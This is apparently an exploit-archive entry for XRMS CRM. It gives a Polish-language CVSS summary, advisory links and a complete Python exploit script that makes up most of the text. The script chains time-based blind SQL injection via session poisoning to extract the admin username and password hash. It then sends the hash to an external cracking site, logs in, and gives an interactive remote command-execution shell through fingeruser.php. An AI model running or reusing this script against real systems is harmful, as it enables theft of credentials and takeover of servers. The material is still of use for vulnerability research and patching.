XRMS Blind SQLi via $_SESSION poisoning, then command exec

2014.10.27
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-89


Ogólna skala CVSS: 7.5/10
Znaczenie: 6.4/10
Łatwość wykorzystania: 10/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Częściowy
Wpływ na integralność: Częściowy
Wpływ na dostępność: Częściowy

####################### # XRMS Blind SQLi via $_SESSION poisoning, then command exec ######################### import urllib import urllib2 import time import sys usercharac = ['a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','@','.','_','-','1','2','3','4','5','6','7','8','9','0'] userascii = [97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 64, 46, 95, 45, 49, 50, 51, 52, 53, 54, 55, 56, 57, 48] def banner(): print """ ____ / __/_ ______ _ _ ___________ ___ _____ / /_/ / / / __ `/ | |/_/ ___/ __ `__ \/ ___/ / __/ /_/ / /_/ / _> </ / / / / / / (__ ) /_/ \__,_/\__, (_)_/|_/_/ /_/ /_/ /_/____/ /_/ [+] fuq th3 w0rld, fuq ur m0m!\n""" def usage(): print " [+] Info: Remote Command Execution via $_SESSION poisoning to SQLi to RCE" print " [+] Example:" print " [+] python " + sys.argv[0] + " domain.to/xrms" quit() def sendhashaway(hash): print " [+] Sending hash to icrackhash.com to be cracked." data = None headers = { 'Referer' : 'http://icrackhash.com/?mdhash=' + hash + '&type=MD5','User-Agent' : 'Mozilla','X-Requested-With' : 'XMLHttpRequest'} url = 'http://www.icrackhash.com/?mdhash=' + hash + '&type=MD5' gh = urllib2.Request(url,data,headers) gh2 = urllib2.urlopen(gh) output = gh2.read() plaintext = getpositions(output,'<td><small><strong>','</strong>') print " [-] Plaintext of hash: " +plaintext + "\n" return plaintext def username(length): length = length + 1 duser = [] #1) UNION ALL SELECT 1,2,3,4,5,6,7,8,9-- - found = 0 i = 1 payload1 = "1) UNION ALL SELECT 1,2,3,4,5,6,7,8,IF(SUBSTRING(username," payload2 = ",1)=CHAR(" payload3 = "),BENCHMARK(5000000,MD5(0x34343434)),NULL) FROM users-- -" for i in range(1,length): found = 0 while(found != 1): for f in range(0,len(userascii)): class LeHTTPRedirectHandler(urllib2.HTTPRedirectHandler): def http_error_302(self, req, fp, code, msg, headers): infourl = urllib2.addinfourl(fp, headers, req.get_full_url()) infourl.status = code infourl.code = code return infourl http_error_300 = http_error_302 class HeadRequest(urllib2.Request): def get_method(self): return "POST" payload = payload1 + str(i) + payload2 + str(userascii[f]) + payload3 data = urllib.urlencode([('user_id',payload)]) url = 'http://'+domain+'/plugins/webform/new-form.php' opener = urllib2.build_opener(LeHTTPRedirectHandler) req = HeadRequest(url,data) prepare = opener.open(req) cookie1 = prepare.info() cookie2pos1 = str(cookie1).find('PHPSESSID') cookie2pos2 = str(cookie1).find("\n",cookie2pos1) line = str(cookie1)[cookie2pos1:cookie2pos2 - 9] line = 'XRMS' + line[9:] url = 'http://'+domain+'/plugins/useradmin/fingeruser.php' headers = { 'Cookie' : line } data = None start = time.time() get = urllib2.Request(url,data,headers) get.get_method = lambda: 'HEAD' try: execute = urllib2.urlopen(get) except: pass elapsed = (time.time() - start) if(elapsed > 1): print " Character found. Character is: " + usercharac[f] duser.append(usercharac[f]) found = 1 return duser def getusernamelength(): found = 0 i = 1 payload1 = "1) UNION ALL SELECT 1,2,3,4,5,6,7,8,IF(LENGTH(username) = '" payload2 = "',BENCHMARK(50000000,MD5(0x34343434)),NULL) FROM users-- -" while (found != 1): class LeHTTPRedirectHandler(urllib2.HTTPRedirectHandler): def http_error_302(self, req, fp, code, msg, headers): infourl = urllib2.addinfourl(fp, headers, req.get_full_url()) infourl.status = code infourl.code = code return infourl http_error_300 = http_error_302 class HeadRequest(urllib2.Request): def get_method(self): return "POST" payload = payload1 + str(i) + payload2 data = urllib.urlencode([('user_id',payload)]) url = 'http://'+domain+'/plugins/webform/new-form.php' opener = urllib2.build_opener(LeHTTPRedirectHandler) req = HeadRequest(url,data) prepare = opener.open(req) cookie1 = prepare.info() cookie2pos1 = str(cookie1).find('PHPSESSID') cookie2pos2 = str(cookie1).find("\n",cookie2pos1) line = str(cookie1)[cookie2pos1:cookie2pos2 - 9] line = 'XRMS' + line[9:] url = 'http://'+domain+'/plugins/useradmin/fingeruser.php' headers = { 'Cookie' : line } data = None start = time.time() get = urllib2.Request(url,data,headers) get.get_method = lambda: 'HEAD' try: execute = urllib2.urlopen(get) except: pass elapsed = (time.time() - start) if(elapsed > 1): print " Length found at position: " + str(i) found = 1 length = i return length i = i + 1 def password(length): length = length + 1 dpassword = [] #1) UNION ALL SELECT 1,2,3,4,5,6,7,8,9-- - found = 0 i = 1 payload1 = "1) UNION ALL SELECT 1,2,3,4,5,6,7,8,IF(SUBSTRING(password," payload2 = ",1)=CHAR(" payload3 = "),BENCHMARK(5000000,MD5(0x34343434)),NULL) FROM users-- -" for i in range(1,length): found = 0 while(found != 1): for f in range(0,len(userascii)): class LeHTTPRedirectHandler(urllib2.HTTPRedirectHandler): def http_error_302(self, req, fp, code, msg, headers): infourl = urllib2.addinfourl(fp, headers, req.get_full_url()) infourl.status = code infourl.code = code return infourl http_error_300 = http_error_302 class HeadRequest(urllib2.Request): def get_method(self): return "POST" payload = payload1 + str(i) + payload2 + str(userascii[f]) + payload3 data = urllib.urlencode([('user_id',payload)]) url = 'http://'+domain+'/plugins/webform/new-form.php' opener = urllib2.build_opener(LeHTTPRedirectHandler) req = HeadRequest(url,data) prepare = opener.open(req) cookie1 = prepare.info() cookie2pos1 = str(cookie1).find('PHPSESSID') cookie2pos2 = str(cookie1).find("\n",cookie2pos1) line = str(cookie1)[cookie2pos1:cookie2pos2 - 9] line = 'XRMS' + line[9:] url = 'http://'+domain+'/plugins/useradmin/fingeruser.php' headers = { 'Cookie' : line } data = None start = time.time() get = urllib2.Request(url,data,headers) get.get_method = lambda: 'HEAD' try: execute = urllib2.urlopen(get) except: pass elapsed = (time.time() - start) if(elapsed > 1): print " Character found. Character is: " + usercharac[f] dpassword.append(usercharac[f]) found = 1 return dpassword def login(domain,user,password): cookie = "XRMS=iseeurgettinown4d" url = 'http://'+domain+'/login-2.php' headers = { 'Cookie' : cookie } data = urllib.urlencode([('username',user),('password',password)]) a1 = urllib2.Request(url,data,headers) a2 = urllib2.urlopen(a1) output = a2.read() if output.find('PEAR.php') > 0: print " [+] Logged In" def commandexec(domain,command): cookie = "XRMS=iseeurgettinown4d" cmd = urllib.urlencode([("; echo '0x41';" + command + ";echo '14x0';",None)]) headers = { 'Cookie' : cookie } data = None url = 'http://'+domain+'/plugins/useradmin/fingeruser.php?username=' + cmd b1 = urllib2.Request(url,data,headers) b2 = urllib2.urlopen(a1) output = b2.read() first = output.find('0x41') + 4 last = output.find('14x0') - 4 return output[first:last] banner() if len(sys.argv) < 2: usage() domain = sys.argv[1] print " [+] Grabbing username length" length = getusernamelength() print " [+] Grabbing username characters" tmpuser = username(length) adminusr = "".join(tmpuser) print " [+] Grabbing password hash" tmppass = password(32) admpass = "".join(tmppass) print " [+] Admin username: "+ adminusr print " [+] Admin password hash: " + admpass plain = sendhashaway(admpass) login(domain,adminusr,plain) while(quit != 1): cmd = raw_input(' [+] Run a command: ') if cmd == 'quit': print " [-] Hope you had fun :)" quit = 1 if cmd != 'quit': print " [+] "+ commandexec(domain,cmd)

Referencje:

http://www.exploit-db.com/exploits/34452
http://www.openwall.com/lists/oss-security/2014/08/27/4
http://packetstormsecurity.com/files/128030/XRMS-Blind-SQL-Injection-Command-Execution.html
http://www.securityfocus.com/bid/69446
http://seclists.org/fulldisclosure/2014/Aug/78
http://www.openwall.com/lists/oss-security/2014/08/29/1


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